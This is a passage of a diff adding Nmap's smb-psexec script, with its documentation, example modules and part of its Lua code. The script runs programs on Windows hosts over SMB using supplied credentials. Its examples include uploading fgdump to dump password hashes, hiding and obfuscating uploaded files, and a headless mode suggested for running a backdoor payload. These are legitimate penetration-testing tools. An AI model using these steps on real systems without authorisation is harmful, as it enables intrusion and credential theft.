+output for this script is this:
+
+<code>
+ | Example 1: Membership of 'administrators'
+ | | Alias name administrators
+ | | Comment Administrators have complete and unrestricted access to the computer/domain
+ | |
+ | | Members
+ | |
+ | | -------------------------------------------------------------------------------
+ | | Administrator
+ | | ron
+ | | test
+ | | The command completed successfully.
+ | |
+ | |_
+</code>
+
+That works, but it's really ugly. In general, we can use
+<code>mod.find</code>, <code>mod.replace</code>, <code>mod.remove</code>,
+and <code>mod.noblank</code> to clean up the output. For this example, we're
+going to use <code>mod.remove</code> to remove a lot of the useless lines,
+and <code>mod.noblank</code> to get rid of the blank lines that we don't
+want:
+
+<code>
+ mod = {}
+ mod.upload = false
+ mod.name = "Example 2: Membership of 'administrators', cleaned"
+ mod.program = "net.exe"
+ mod.args = "localgroup administrators"
+ mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
+ mod.noblank = true
+ table.insert(modules, mod)
+</code>
+
+We can see that the output is now much cleaner:
+
+<code>
+| Example 2: Membership of 'administrators', cleaned
+| | Administrator
+| | ron
+| |_test
+</code>
+
+For our next command, we're going to run Windows' ipconfig.exe, which
+outputs a significant amount of unnecessary information, and what we do want
+isn't formatted very nicely. All we want is the IP address and MAC address,
+and we get it using <code>mod.find</code> and <code>mod.replace</code>:
+
+<code>
+ mod = {}
+ mod.upload = false
+ mod.name = "Example 3: IP Address and MAC Address"
+ mod.program = "ipconfig.exe"
+ mod.args = "/all"
+ mod.maxtime = 1
+ mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+ mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+ table.insert(modules, mod)
+</code>
+
+This module searches for lines that contain "IP Address", "Physical
+Address", or "Ethernet adapter". In these lines, a ". " is replaced with
+nothing, a "-" is replaced with a colon, and the term "Physical Address" is
+replaced with "MAC Address" (arguably unnecessary). Run ipconfig /all
+yourself to see what we start with, but here's the final output:
+
+<code>
+| Example 3: IP Address and MAC Address
+| | Ethernet adapter Local Area Connection:
+| | MAC Address: 00:0C:29:12:E6:DB
+| |_ IP Address: 192.168.1.21| Example 3: IP Address and MAC Address
+</code>
+
+Another interesting part of this script is that variables can be used in any
+script fields. There are two types of variables: built-in and user-supplied.
+Built-in variables can be anything found in the <code>config</code> table,
+most of which are listed below. The more interesting ones are:
+
+* <code>$lhost</code>: The address of the scanner
+* <code>$rhost</code>: The address being scanned
+* <code>$path</code>: The path where the scripts are uploaded
+* <code>$share</code>: The share where the script was uploaded
+
+User-supplied arguments are given on the commandline, and can be controlled
+by <code>mod.req_args</code> in the configuration file. Arguments are given
+by the user in --script-args; for example, to set $host to '1.2.3.4', the
+user would pass in --script-args=host=1.2.3.4. To ensure the user passes in
+the host variable, <code>mod.req_args</code> would be set to
+<code>{'host'}</code>.
+
+Here is a module that pings the local ip address:
+
+<code>
+ mod = {}
+ mod.upload = false
+ mod.name = "Example 4: Can the host ping our address?"
+ mod.program = "ping.exe"
+ mod.args = "$lhost"
+ mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+ mod.noblank = true
+ mod.env = "SystemRoot=c:\\WINDOWS"
+ table.insert(modules, mod)
+</code>
+
+And the output:
+<code>
+| Example 4: Can the host ping our address?
+| | Pinging 192.168.1.100 with 32 bytes of data:
+| | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
+| | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
+| | Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
+| |_Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
+</code>
+
+And this module pings an arbitrary address that the user is expected to
+give:
+
+<code>
+ mod = {}
+ mod.upload = false
+ mod.name = "Example 5: Can the host ping $host?"
+ mod.program = "ping.exe"
+ mod.args = "$host"
+ mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+ mod.noblank = true
+ mod.env = "SystemRoot=c:\\WINDOWS"
+ mod.req_args = {'host'}
+ table.insert(modules, mod)
+</code>
+
+And the output (note that we had to up the timeout so this would complete;
+we'll talk about override values later):
+
+<code>
+$ ./nmap -n -d -p445 --script=smb-psexec --script-args=smbuser=test,smbpass=test,config=examples,host=1.2.3.4 192.168.1.21
+[...]
+| Example 5: Can the host ping 1.2.3.4?
+| | Pinging 1.2.3.4 with 32 bytes of data:
+| | Request timed out.
+| | Request timed out.
+| | Request timed out.
+| |_Request timed out.
+</code>
+
+For the final example, we'll use the <code>upload</code> command to upload
+<code>fgdump.exe</code>, run it, download its output file, and clean up its
+logfile. You'll have to put <code>fgdump.exe</code> in the same folder as
+the script for this to work:
+
+<code>
+ mod = {}
+ mod.upload = true
+ mod.name = "Example 6: FgDump"
+ mod.program = "fgdump.exe"
+ mod.args = "-c -l fgdump.log"
+ mod.url = "http://www.foofus.net/fizzgig/fgdump/"
+ mod.tempfiles = {"fgdump.log"}
+ mod.outfile = "127.0.0.1.pwdump"
+ table.insert(modules, mod)
+</code>
+
+The <code>-l</code> argument for fgdump supplies the name of the logfile.
+That file is listed in the <code>mod.tempfiles</code> field. What, exactly,
+does <code>mod.tempfiles</code> do? It simply gives the service a list of
+files to delete while cleaning up. The cleanup process will be discussed
+later.
+
+<code>mod.url</code> is displayed to the user if <code>mod.program</code>
+isn't found in <code>nselib/data/psexec/</code>. And finally,
+<code>mod.outfile</code> is the file that is downloaded from the system.
+This is required because fgdump writes to an output file instead of to
+stdout (pwdump6, for example, doesn't require <code>mod.outfile</code>.
+
+Now that we've seen a few possible combinations of fields, I present a
+complete list of all fields available and what each of them do. Many of them
+will be familiar, but there are a few that aren't discussed in the examples:
+
+* <code>upload</code> (boolean) true if it's a local file to upload, false
+ if it's already on the host machine. If
+ <code>upload</code> is true, <code>program</code> has
+ to be in <code>nselib/data/psexec</code>.
+* <code>name</code> (string) The name to display above the output. If this
+ isn't given, <code>program</code> .. <code>args</code>
+ are used.
+* <code>program</code> (string) If <code>upload</code> is false, the name
+ (fully qualified or relative) of the program on the
+ remote system; if <code>upload</code> is true, the
+ name of the local file that will be uploaded (stored
+ in <code>nselib/data/psexec</code>).
+* <code>args</code> (string) Arguments to pass to the process.
+* <code>env</code> (string) Environmental variables to pass to the process,
+ as name=value pairs, delimited, per Microsoft's spec, by
+ NULL characters (<code>string.char(0)</code>).
+* <code>maxtime</code> (integer) The approximate amount of time to wait for
+ this process to complete. The total timeout for the
+ script before it gives up waiting for a response is
+ the total of all <code>maxtime</code> fields.
+* <code>extrafiles</code> (string[]) Extra file(s) to upload before running
+ the program. These will not be renamed (because,
+ presumably, if they are then the program won't be
+ able to find them), but they will be marked as
+ hidden/system/etc. This may cause a race condition
+ if multiple people are doing this at once, but
+ there isn't much we can do. The files are also
+ deleted afterwards as tempfiles would be. The
+ files have to be in the same directory as programs
+ (<code>nselib/data/psexec</code>), but the program
+ doesn't necessarily need to be an uploaded one.
+* <code>tempfiles</code> (string[]) A list of temporary files that the
+ process is known to create (if the process does
+ create files, using this field is recommended
+ because it helps avoid making a mess on the remote
+ system).
+* <code>find</code> (string[]) Only display lines that contain the given
+ string(s) (for example, if you're searching for a line
+ that contains "IP Address", set this to <code>{'IP
+ Address'}</code>. This allows Lua-style patterns, see:
+ http://lua-users.org/wiki/PatternsTutorial (don't forget
+ to escape special characters with a <code>%</code>).
+ Note that this is client-side only; the full output is
+ still returned, the rest is removed while displaying.
+ The line of output only needs to match one of the
+ strings given here.
+* <code>remove</code> (string[]) Opposite of <code>find</code>; this removes
+ lines containing the given string(s) instead of
+ displaying them. Like <code>find</code>, this is
+ client-side only and uses Lua-style patterns. If
+ <code>remove</code> and <code>find</code> are in
+ conflict, then <code>remove</code> takes priority.
+* <code>noblank</code> (boolean) Setting this to true removes all blank
+ lines from the output.
+* <code>replace</code> (table) A table of values to replace in the strings
+ returned. Like <code>find</code> and
+ <code>replace</code>, this is client-side only and
+ uses Lua-style patterns.
+* <code>headless</code> (boolean) If <code>headless</code> is set to true,
+ the program doesn't return any output; rather, it
+ runs detached from the service so that, when the
+ service ends, the program keeps going. This can be
+ useful for, say, a monitoring program. Or a
+ backdoor, if that's what you're into (a Metasploit
+ payload should work nicely). Not compatible with:
+ <code>find</code>, <code>remove</code>,
+ <code>noblank</code>, <code>replace</code>,
+ <code>maxtime</code>, <code>outfile</code>.
+* <code>enabled</code> (boolean) Set to false, and optionally set
+ <code>disabled_message</code>, if you don't want a
+ module to run. Alternatively, you can comment out
+ the process.
+* <code>disabled_message</code> (string) Displayed if the module is disabled.
+* <code>url</code> (string) A module where the user can download the
+ uploadable file. Displayed if the uploadable file is
+ missing.
+* <code>outfile</code> (string) If set, the specified file will be returned
+ instead of stdout.
+* <code>req_args</code> (string[]) An array of arguments that the user must
+ set in <code>--script-args</code>.
+
+
+Any field in the configuration file can contain variables, as discussed.
+Here are some of the available built-in variables:
+
+* <code>$lhost</code>: local IP address as a string.
+* <code>$lport</code>: local port (meaningless; it'll change by the time the
+ module is uploaded since multiple connections are
+ made).
+* <code>$rhost</code>: remote IP address as a string.
+* <code>$rport</code>: remote port.
+* <code>$lmac</code>: local MAC address as a string in the
+ xx:xx:xx:xx:xx:xx format (note: requires root).
+* <code>$path</code>: the path where the file will be uploaded to.
+* <code>$service_name</code>: the name of the service that will be running
+ this program
+* <code>$service_file</code>: the name of the executable file for the
+ service
+* <code>$temp_output_file</code>: The (ciphered) file where the programs'
+ output will be written before being
+ renamed to $output_file
+* <code>$output_file</code>: The final name of the (ciphered) output file.
+ When this file appears, the script downloads it
+ and stops the service
+* <code>$timeout</code>: The total amount of time the script is going to run
+ before it gives up and stops the process
+* <code>$share</code>: The share that everything was uploaded to
+* (script args): Any value passed as a script argument will be replaced (for
+ example, if Nmap is run with
+ <code>--script-args=var3=10</code>, then <code>$var3</code>
+ in any field will be replaced with <code>10</code>. See the
+ <code>req_args</code> field above. Script argument values
+ take priority over config values.
+
+In addition to modules, the configuration file can also contain overrides.
+Most of these aren't useful, so I'm not going to go into great detail.
+Search <code>smb-psexec.nse</code> for any reference to the
+<code>config</code> table; any value in the <code>config</code> table can be
+overridden with the <code>overrides</code> table in the module. The most
+useful value to override is probably <code>timeout</code>.
+
+Before and after scripts are run, and when there's an error, a cleanup is
+performed. in the cleanup, we attempt to stop the remote processes, delete
+all programs, output files, temporary files, extra files, etc. A lot of
+effort was put into proper cleanup, since making a mess on remote systems is
+a bad idea.
+
+
+Now that I've talked at length about how to use this script, I'd like to
+spend some time talking about how it works.
+
+Running a script happens in several stages:
+
+1. An open fileshare is found that we can write to. Finding an open
+ fileshare basically consists of enumerating all shares and seeing which
+ one(s) we have access to.
+2. A "service wrapper", and all of the uploadable/extra files, are uploaded.
+ Before they're uploaded, the name of each file is obfuscated. The
+ obfuscation completely renames the file, is unique for each source system,
+ and doesn't change between multiple runs. This obfuscation has the benefit
+ of preventing filenames from overlapping if multiple people are running this
+ against the same computer, and also makes it more difficult to determine
+ their purposes. The reason for keeping them consistent for every run is to
+ make cleanup possible: a random filename, if the script somehow fails, will
+ be left on the system.
+3. A new service is created and started. The new service has a random name
+ for the same reason the files do, and points at the 'service wrapper'
+ program that was uploaded.
+4. The service runs the processes. One by one, the processes are run and
+ their output is captured. The output is obfuscated using a simple (and
+ highly insecure) xor algorithm, which is designed to prevent casual sniffing
+ (but won't deter intelligent attackers). This data is put into a temporary
+ output file. When all the programs have finished, the file is renamed to the
+ final output file
+5. The output file is downloaded, and the cleanup is performced. The file
+ being renamed triggers the final stage of the program, where the data is
+ downloaded and all relevant files are deleted.
+6. Output file, now decrypted, is formatted and displayed to the user.
+
+And that's how it works!
+
+Please post any questions, or suggestions for better modules, to
+dev@nmap.org.
+
+And, as usual, since this tool can be dangerous and can easily be viewed as
+a malicious tool -- use this responsibly, and don't break any laws with it.
+
+Some ideas for later versions (TODO):
+
+* Set up a better environment for scripts (<code>PATH</code>,
+ <code>SystemRoot</code>, etc). Without this, a lot of programs (especially
+ ones that deal with network traffic) behave oddly.
+* Abstract the code required to run remote processes so other scripts can
+ use it more easily (difficult, but will ultimately be well worth it
+ later). (May actually not be possible. There is a lot of overhead and
+ specialized code in this module. We'll see, though.)
+* Let user specify an output file (per-script) so they can, for example,
+ download binary files (don't think it's worthwhile).
+* Consider running the external programs in parallel (not sure if the
+ benefits outweigh the drawbacks).
+* Let the config request the return code from the process instead of the
+ output (not sure if doing this would be worth the effort).
+* Check multiple shares in a single session to save packets (and see where
+ else we can tighten up the amount of traffic).
+]]
+
+---
+-- @usage
+-- nmap --script smb-psexec.nse --script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p445 <host>
+-- sudo nmap -sU -sS --script smb-psexec.nse --script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-psexec:
+-- | | Windows version
+-- | | |_ Microsoft Windows 2000 [Version 5.00.2195]
+-- | | IP Address and MAC Address from 'ipconfig.exe'
+-- | | | Ethernet adapter Local Area Connection 2:
+-- | | | MAC Address: 00:50:56:A1:24:C2
+-- | | | IP Address: 10.0.0.30
+-- | | | Ethernet adapter Local Area Connection:
+-- | | |_ MAC Address: 00:50:56:A1:00:65
+-- | | User list from 'net user'
+-- | | | Administrator TestUser3 Guest
+-- | | | IUSR_RON-WIN2K-TEST IWAM_RON-WIN2K-TEST nmap
+-- | | | rontest123 sshd SvcCOPSSH
+-- | | |_ test1234 Testing TsInternetUser
+-- | | Membership of 'administrators' from 'net localgroup administrators'
+-- | | | Administrator
+-- | | | SvcCOPSSH
+-- | | | test1234
+-- | | |_ Testing
+-- | | Can the host ping our address?
+-- | | | Pinging 10.0.0.138 with 32 bytes of data:
+-- | | |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
+-- | | Traceroute back to the scanner
+-- | | |_ 1 <10 ms <10 ms <10 ms 10.0.0.138
+-- | | ARP Cache from arp.exe
+-- | | | Internet Address Physical Address Type
+-- | | |_ 10.0.0.138 00-50-56-a1-27-4b dynamic
+-- | | List of listening and established connections (netstat -an)
+-- | | | Proto Local Address Foreign Address State
+-- | | | TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:4933 0.0.0.0:0 LISTENING
+-- | | | TCP 10.0.0.30:139 0.0.0.0:0 LISTENING
+-- | | | TCP 127.0.0.1:2528 127.0.0.1:2529 ESTABLISHED
+-- | | | TCP 127.0.0.1:2529 127.0.0.1:2528 ESTABLISHED
+-- | | | TCP 127.0.0.1:2531 127.0.0.1:2532 ESTABLISHED
+-- | | | TCP 127.0.0.1:2532 127.0.0.1:2531 ESTABLISHED
+-- | | | TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
+-- | | | TCP 127.0.0.1:5152 127.0.0.1:2530 CLOSE_WAIT
+-- | | | UDP 0.0.0.0:135 *:*
+-- | | | UDP 0.0.0.0:445 *:*
+-- | | | UDP 0.0.0.0:1030 *:*
+-- | | | UDP 0.0.0.0:3456 *:*
+-- | | | UDP 10.0.0.30:137 *:*
+-- | | | UDP 10.0.0.30:138 *:*
+-- | | | UDP 10.0.0.30:500 *:*
+-- | | | UDP 10.0.0.30:4500 *:*
+-- | | |_ UDP 127.0.0.1:1026 *:*
+-- | | Full routing table from 'netstat -nr'
+-- | | | ===========================================================================
+-- | | | Interface List
+-- | | | 0x1 ........................... MS TCP Loopback interface
+-- | | | 0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
+-- | | | 0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
+-- | | | ===========================================================================
+-- | | | ===========================================================================
+-- | | | Active Routes:
+-- | | | Network Destination Netmask Gateway Interface Metric
+-- | | | 10.0.0.0 255.255.255.0 10.0.0.30 10.0.0.30 1
+-- | | | 10.0.0.30 255.255.255.255 127.0.0.1 127.0.0.1 1
+-- | | | 10.255.255.255 255.255.255.255 10.0.0.30 10.0.0.30 1
+-- | | | 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
+-- | | | 224.0.0.0 224.0.0.0 10.0.0.30 10.0.0.30 1
+-- | | | 255.255.255.255 255.255.255.255 10.0.0.30 2 1
+-- | | | ===========================================================================
+-- | | | Persistent Routes:
+-- | | | None
+-- |_ |_ |_ Route Table
+--
+--@args config The config file to use (eg, default). Config files require a .lua extension, and are located in <code>nselib/data/psexec</code>.
+--@args nohide Don't set the uploaded files to hidden/system/etc.
+--@args cleanup Set to only clean up any mess we made (leftover files, processes, etc. on the host OS) on a previous run of the script.
+-- This will attempt to delete the files from every share, not just the first one. This is done to prevent leftover
+-- files if the OS changes the ordering of the shares (there's no guarantee of shares coming back in any particular
+-- order)
+-- Note that cleaning up is still fairly invasive, since it has to re-discover the proper share, connect to it,
+-- delete files, open the services manager, etc.
+--@args share Set to override the share used for uploading. This also stops shares from being enumerated, and all other shares
+-- will be ignored. No checks are done to determine whether or not this is a valid share before using it. Reqires
+-- <code>sharepath</code> to be set.
+--@args sharepath The full path to the share (eg, <code>"c:\windows"</code>). This is required when creating a service.
+--@args time The minimum amount of time, in seconds, to wait for the external module to finish (default: <code>15</code>)
+--
+--@args nocleanup Set to not clean up at all; this leaves the files on the remote system and the wrapper
+-- service installed. This is bad in practice, but significantly reduces the network traffic and makes analysis
+-- easier.
+--@args nocipher Set to disable the ciphering of the returned text (useful for debugging).
+--@args key Script uses this value instead of a random encryption key (useful for debugging the crypto).
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+dependencies = {"smb-brute"}
+
+
+
+-- Where we tell the user to get nmap_service.exe if it's not installed.
+local NMAP_SERVICE_EXE_DOWNLOAD = "https://nmap.org/psexec/nmap_service.exe"
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+---Get the random-ish filenames used by the service.
+--
+--@param host The host table, which the names are based on.
+--@return Status: true or false.
+--@return Name of the remote service, or an error message if status is false.
+--@return Name of the executable file that's run by the service.
+--@return Name of the temporary output file.
+--@return Name of the final output file.
+local function get_service_files(host)
+ local status, service_name, service_file, temp_output_file, output_file
+
+ -- Get the name of the service
+ status, service_name = smb.get_uniqueish_name(host)
+ if(status == false) then
+ return false, string.format("Error generating service name: %s", service_name)
+ end
+ stdnse.debug1("Generated static service name: %s", service_name)
+
+ -- Get the name and service's executable file (with a .txt extension for fun)
+ status, service_file = smb.get_uniqueish_name(host, "txt")
+ if(status == false) then
+ return false, string.format("Error generating remote filename: %s", service_file)
+ end
+ stdnse.debug1("Generated static service name: %s", service_name)
+
+ -- Get the temporary output file
+ status, temp_output_file = smb.get_uniqueish_name(host, "out.tmp")
+ if(status == false) then
+ return false, string.format("Error generating remote filename: %s", temp_output_file)
+ end
+ stdnse.debug1("Generated static service filename: %s", temp_output_file)
+
+ -- Get the actual output file
+ status, output_file = smb.get_uniqueish_name(host, "out")
+ if(status == false) then
+ return false, string.format("Error generating remote output file: %s", output_file)
+ end
+ stdnse.debug1("Generated static output filename: %s", output_file)
+
+ -- Return everything
+ return true, service_name, service_file, temp_output_file, output_file
+end
+
+---Stop/delete the service and delete the service file.
+--
+--@param host The host object.
+--@param config The table of configuration values.
+function cleanup(host, config)
+ local status, err
+
+ -- Add a delay here. For some reason, calling this function too quickly causes SMB to close the connection,
+ -- but even a tiny delay makes that issue go away.
+ stdnse.sleep(.01)
+
+ -- If the user doesn't want to clean up, don't
+ if(stdnse.get_script_args( "nocleanup" )) then
+ return
+ end
+
+ stdnse.debug1("Entering cleanup() -- errors here can generally be ignored")
+ -- Try stopping the service
+ status, err = msrpc.service_stop(host, config.service_name)
+ if(status == false) then
+ stdnse.debug1("[cleanup] Couldn't stop service: %s", err)
+ end
+
+ -- Try deleting the service
+ status, err = msrpc.service_delete(host, config.service_name)
+ if(status == false) then
+ stdnse.debug1("[cleanup] Couldn't delete service: %s", err)
+ end
+
+ -- Delete the files
+ for _, share in ipairs(config.all_shares) do
+ status, err = smb.file_delete(host, share, config.all_files)
+ end
+
+ stdnse.debug1("Leaving cleanup()")
+
+ return true
+end
+
+---Find the file on the system (checks both Nmap's directories and the current
+-- directory).
+--
+--@param filename The name of the file.
+--@param extension The extension of the file (filename without the extension is tried first).
+--@return The full filename, or nil if it couldn't be found.
+local function locate_file(filename, extension)
+ stdnse.debug1("Attempting to find file: %s", filename)
+
+ extension = extension or ""
+
+ local filename_full = nmap.fetchfile(filename) or nmap.fetchfile(filename .. "." .. extension)
+
+ if(filename_full == nil) then
+ local psexecfile = "nselib/data/psexec/" .. filename
+ filename_full = nmap.fetchfile(psexecfile) or nmap.fetchfile(psexecfile .. "." .. extension)
+ end
+
+ -- check for absolute path or relative to current directory
+ if(filename_full == nil) then
+ local f, err = io.open(filename, "rb")
+ if f == nil then
+ stdnse.debug1("Error opening %s: %s", filename, err)
+ f, err = io.open(filename .. "." .. extension, "rb")
+ if f == nil then
+ stdnse.debug1("Error opening %s.%s: %s", filename, extension, err)
+ return nil -- unnecessary, but explicit
+ else
+ f:close()
+ return filename .. "." .. extension
+ end
+ else
+ f:close()
+ return filename
+ end
+ end
+
+ return filename_full
+end
+
+---Generate an array of all files that will be uploaded/created, including
+-- the temporary file and the output file. This is done so the files can
+-- all be deleted during the cleanup phase.
+--
+--@param config The config table.
+--@return The array of files.
+local function get_all_files(config)
+ local files = {config.service_file, config.output_file, config.temp_output_file}
+ for _, mod in ipairs(config.enabled_modules) do
+ -- We're going to delete the module itself
+ table.insert(files, mod.upload_name)
+
+ -- We're also going to delete any temp files...
+ if(mod.tempfiles) then
+ for _, file in ipairs(mod.tempfiles) do
+ table.insert(files, file)
+ end
+ end
+
+ -- ... and any extra files we uploaded ,,,
+ if(mod.extrafiles) then
+ for _, file in ipairs(mod.extrafiles) do
+ table.insert(files, file)
+ end
+ end
+
+ -- ... not to mention the output file
+ if(mod.outfile and mod.outfile ~= "") then
+ table.insert(files, mod.outfile)
+ end
+ end
+
+ return files
+end
+
+---Decide which share to use. Unless the user overrides it with the 'share' and 'sharepath'
+-- arguments, a the first writable share is used.
+--
+--@param host The host object.
+--@return status true for success, false for failure
+--@return share The share we're going to use, or an error message.
+--@return path The path on the remote system that points to the share.
+--@return shares A list of all shares on the system (used for cleaning up).
+local function find_share(host)
+ local status, share, path, shares
+
+ -- Determine which share to use
+ if(nmap.registry.args.share ~= nil) then
+ share = nmap.registry.args.share
+ shares = {share}
+ path = nmap.registry.args.sharepath
+ if(path == nil) then
+ return false, "Setting the 'share' script-arg requires the 'sharepath' to be set as well."
+ end
+
+ stdnse.debug1("Using share chosen by the user: %s (%s)", share, path)
+ else
+ -- Try and find a share to use.
+ status, share, path, shares = smb.share_find_writable(host)
+ if(status == false) then
+ return false, share .. " (May not have an administrator account)"
+ end
+ if(path == nil) then
+ return false, string.format("Couldn't find path to writable share (we probably don't have admin access): '%s'", share)
+ end
+ stdnse.debug1("Found usable share %s (%s) (all writable shares: %s)", share, path, table.concat(shares, ", "))
+ end
+
+ return true, share, path, shares
+end
+
+---Recursively replace all variables in the 'setting' field with string variables
+-- found in the 'config' field and in the script-args passed by the user.
+--
+--@param config The configuration table (used as a source of variables to replace).
+--@param setting The current setting field (generally a string or a table).
+--@return setting The setting with all values replaced.
+local function replace_variables(config, setting)
+ if(type(setting) == "string") then
+ -- Replace module fields with variables in the script-args argument
+ for k, v in pairs(nmap.registry.args) do
+ setting = string.gsub(setting, "$"..k, v)
+ end
+
+ -- Replace module fields with variables in the config file
+ for k, v in pairs(config) do
+ if((type(v) == "string" or type(v) == "boolean" or type(v) == "number") and k ~= "key") then
+ setting = string.gsub(setting, "$"..k, v)
+ end
+ end
+ elseif(type(setting) == "table") then
+ for k, v in pairs(setting) do
+ setting[k] = replace_variables(config, v)
+ end
+ end
+
+ return setting
+end
+
+---Takes the 'overrides' field from a module and replace any configuration variables.
+--
+--@param config The config table.
+--@param overrides The overrides we're replacing values with.
+--@return config The new config table.
+local function do_overrides(config, overrides)
+ if(overrides) then
+ if(type(overrides) == 'string') then
+ overrides = {overrides}
+ end
+
+ for i, v in pairs(overrides) do
+ config[i] = v
+ end
+ end
+
+ return config
+end
+
+---Reads, prepares, parses, sanity checks, and pre-processes the configuration file (either the
+-- default, or the file passed as a parameter).
+--
+--@param host The host table.
+--@param config A table to fill with configuration values.
+--@return status true or false
+--@return config The configuration table or an error message.
+local function get_config(host, config)
+ local status
+ local filename = nmap.registry.args.config
+ config.enabled_modules = {}
+ config.disabled_modules = {}
+
+ -- Find the config file
+ filename = locate_file(filename or 'default', 'lua')
+ if(filename == nil) then
+ return false, "Couldn't locate config file: file not found (make sure it has a .lua extension and is in nselib/data/psexec/)"
+ end
+
+ -- Load the config file
+ local env = setmetatable({modules = {}; overrides = {}; module = function() stdnse.debug1("WARNING: Selected config file contains an unnecessary call to module()") end}, {__index = _G})
+ stdnse.debug1("Attempting to load config file: %s", filename)
+ local file = loadfile(filename, "t", env)
+ if(not(file)) then
+ return false, "Couldn't load module file:\n" .. filename
+ end
+
+ -- Run the config file
+ file()
+ local modules = env.modules
+ local overrides = env.overrides
+
+ -- Generate a cipher key
+ if(stdnse.get_script_args( "nocipher" )) then
+ config.key = ""
+ elseif(nmap.registry.args.key) then
+ config.key = nmap.registry.args.key
+ else
+ local tmp = {}
+ for i = 1, 127, 1 do
+ tmp[i] = string.char(math.random(0x20, 0x7F))
+ end
+ config.key = table.concat(tmp)
+ config.key_index = 0
+ end
+
+ -- Initialize the timeout
+ config.timeout = 0
+
+ -- Figure out which share we're using (this is the first place in the script where a lot of traffic is generated --
+ -- any possible sanity checking should be done before this)
+ status, config.share, config.path, config.all_shares = find_share(host)
+ if(not(status)) then
+ return false, config.share
+ end
+
+ -- Get information about the socket; it's a bit out of place here, but it should go before the mod loop
+ status, config.lhost, config.lport, config.rhost, config.rport, config.lmac = smb.get_socket_info(host)
+ if(status == false) then
+ return false, "Couldn't get socket information: " .. config.lhost
+ end
+
+ -- Get the names of the files we're going to need
+ status, config.service_name, config.service_file, config.temp_output_file, config.output_file = get_service_files(host)
+ if(not(status)) then
+ return false, config.service_name
+ end
+
+ -- Make sure the modules loaded properly
+ -- NOTE: If you're here because of an error that 'modules' is undefined, it's likely because your configuration file doesn't have a
+ -- proper modules table, or your configuration file has a module() declaration at the top.
+ if(not(modules) or #modules == 0) then
+ return false, string.format("Configuration file (%s) doesn't have a proper 'modules' table.", filename)
+ end
+
+ -- Make sure we got a proper modules array
+ if(type(modules) ~= "table") then
+ return false, string.format("The chosen configuration file, %s.lua, \z
+ doesn't have a proper 'modules' table. If possible, it should be \z
+ modified to have a public array called 'modules' that contains a \z
+ list of all modules that will be run.", filename)
+ end
+
+ -- Loop through the modules for some pre-processing
+ stdnse.debug1("Verifying uploadable executables exist")
+ for i, mod in ipairs(modules) do
+ local enabled = true
+ -- Do some sanity checking
+ if(mod.program == nil) then
+ enabled = false
+ if(mod.name) then
+ mod.disabled_message = string.format("Configuration error: '%s': module doesn't have a program", mod.name)
+ else
+ mod.disabled_message = string.format("Configuration error: Module #%d doesn't have a program", i)
+ end
+ end
+
+ -- Set some defaults, if the user didn't specify
+ mod.name = mod.name or (string.format("%s %s", mod.program, mod.args or ""))
+ mod.maxtime = mod.maxtime or 1
+
+ -- Check if they forgot the uploadibility
+ if(mod.upload == nil) then
+ enabled = false
+ mod.disabled_message = string.format("Configuration error: '%s': 'upload' field is required", mod.name)
+ end
+
+ -- Check if the upload field is set wrong
+ if(mod.upload ~= true and mod.upload ~= false) then
+ enabled = false
+ mod.disabled_message = string.format("Configuration error: '%s': 'upload' field has to be true or false", mod.name)
+ end
+
+ -- Check for incompatible fields with 'headless'
+ if(mod.headless) then
+ if(mod.find or mod.remove or mod.noblank or mod.replace or (mod.maxtime > 1) or mod.outfile) then
+ enabled = false
+ mod.disabled_message = string.format("Configuration error: '%s': 'headless' is incompatible with find, remove, noblank, replace, and maxtime", mod.name)
+ end
+ end
+
+ -- Check for improperly formatted 'replace'
+ if(mod.replace) then
+ if(type(mod.replace) ~= "table") then
+ enabled = false
+ mod.disabled_message = string.format("Configuration error: '%s': 'replace' has to be a table of one-element tables (eg. replace = {{'a'='b'}, {'c'='d'}})", mod.name)
+ end
+
+ for _, v in ipairs(mod.replace) do
+ if(type(v) ~= 'table') then
+ enabled = false
+ mod.disabled_message = string.format("Configuration error: '%s': 'replace' has to be a table of one-element tables (eg. replace = {{'a'='b'}, {'c'='d'}})", mod.name)
+ end
+ end
+ end
+
+ -- Set some default values
+ if(mod.headless == nil) then
+ mod.headless = false
+ end
+ if(mod.include_stderr == nil) then
+ mod.include_stderr = true
+ end
+
+ -- Make sure required arguments are given
+ if(mod.req_args) then
+ if(type(mod.req_args) == 'string') then
+ mod.req_args = {mod.req_args}
+ end
+
+ -- Keep a table of missing args so we can tell the user all the args they're missing at once
+ local missing_args = {}
+ for _, arg in ipairs(mod.req_args) do
+ if(nmap.registry.args[arg] == nil) then
+ table.insert(missing_args, arg)
+ end
+ end
+
+ if(#missing_args > 0) then
+ enabled = false
